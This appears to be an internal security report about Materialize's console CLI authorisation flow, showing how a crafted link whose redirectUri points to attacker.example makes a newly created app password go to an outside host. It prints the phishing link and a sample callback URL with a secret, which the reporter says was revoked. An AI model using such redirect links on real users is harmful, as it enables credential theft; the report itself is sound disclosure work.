An attacker can provide a link to console.materialize.com like this: [https://console.materialize.com/access/cli?redirectUri=https://attacker.example/callback](<https://console.materialize.com/access/cli?redirectUri=https://attacker.example/callback&tokenDescriptio>) Then inside console you create a new app password and it gets sent to the attacker, without any visibility for the user that they are sending it to an external place. We should at least warn where the password will be sent, not just that it will be created. This is especially risky since it runs directly on console.materialize.com, so I wouldn't be suspicious of seeing that:

The secret is also contained in the URL which isn't a great practice I think: [https://attacker.example/callback/?secret=2668c6ba-c3ca-4236-841f-4e15a0b72c8f&clientId=d425b65e-abf1-4589-8752-39bde261c84e&description=External%20tool%20token&[email protected]&region=aws%2Fus-east-1](<https://attacker.example/callback/?secret=2668c6ba-c3ca-4236-841f-4e15a0b72c8f&clientId=d425b65e-abf1-4589-8752-39bde261c84e&description=External%20tool%20token&[email protected]&region=aws%2Fus-east-1>) (I have revoked the secret) Since that means it will be logged in web server logs, stored in caches, etc. CC @jason.hernandez since it's security-relevant